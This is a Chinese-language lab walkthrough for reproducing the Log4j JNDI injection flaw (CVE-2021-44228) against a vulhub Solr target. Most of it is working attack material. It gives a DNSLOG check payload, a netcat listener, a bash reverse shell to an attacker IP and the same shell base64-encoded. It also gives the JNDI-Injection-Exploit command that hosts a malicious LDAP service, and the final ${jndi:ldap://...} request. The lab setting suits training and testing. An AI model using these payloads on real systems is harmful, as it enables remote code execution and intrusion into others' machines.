vulhub-log4j漏洞复现流程

IDEA复现的问题参考：
【汇总】log4j漏洞复现不成功-原因和排查思路
https://wiki.bafangwy.com/doc/393/

vulhub靶场安装参考：
https://wiki.bafangwy.com/doc/641/

本文涉及的工具：
JNDI-Injection-Exploit-1.0.jar

>d 演示环境：
CentOS 7

# 1、启动靶场
```
cd /var/local/soft/vulhub/log4j/CVE-2021-44228
docker-compose up -d
docker-compose ps
```

以IP`192.168.142.163`为例
访问：
http://192.168.142.163:8983/solr/#/

# 2、DNSLOG验证
dnslog.cn

获得一个子域名，以`9fuwlt.dnslog.cn`为例：

`http://192.168.142.163:8983/solr/admin/cores？action=${jndi:ldap://${sys:java.version}.9fuwlt.dnslog.cn}`

结果：

![](/media/202405/2024-05-25_165930_5293380.9641154957512797.png)

# 3、攻击机服务器端口监听（kali或者阿里云）

`nc -lvvp 7777`

此次攻击机以IP`47.106.8.175`为例

# 4、准备反弹连接payload
反弹连接原命令：
`bash -i >& /dev/tcp/47.106.8.175/7777 0>&1`

编码工具网站：
https://wiki.bafangwy.com/doc/401/

编码结果：
```
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuOC4xNzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
```

# 5、攻击机启动恶意LADP服务

>d CentOS需要配置JDK8环境
参考：https://wiki.bafangwy.com/doc/518/

JNDI-Injection-Exploit-1.0.jar 下载：
链接：https://pan.baidu.com/s/1wz6Vo4tNlpGAK59Io6SPGA?pwd=8888 
提取码：8888

注意：末尾的IP也要修改为攻击机的IP

```
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuOC4xNzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "47.106.8.175"
```

恶意LDAP服务默认监听的端口是：1389

![](/media/202405/2024-05-25_170551_8483470.23628523698203785.png)

复制`JDK 1.8、ldap`的地址，在下面会用到

# 6、访问URL

IP修改为攻击机的IP，大括号里面的地址修改为上一步`JDK 1.8、ldap`的地址

`http://192.168.142.163:8983/solr/admin/cores?action=${jndi:ldap://47.106.8.175:1389/ygis40}`

# 问题排查
https://wiki.bafangwy.com/doc/393/

# 参考文章
https://plexming.blog.csdn.net/article/details/124661480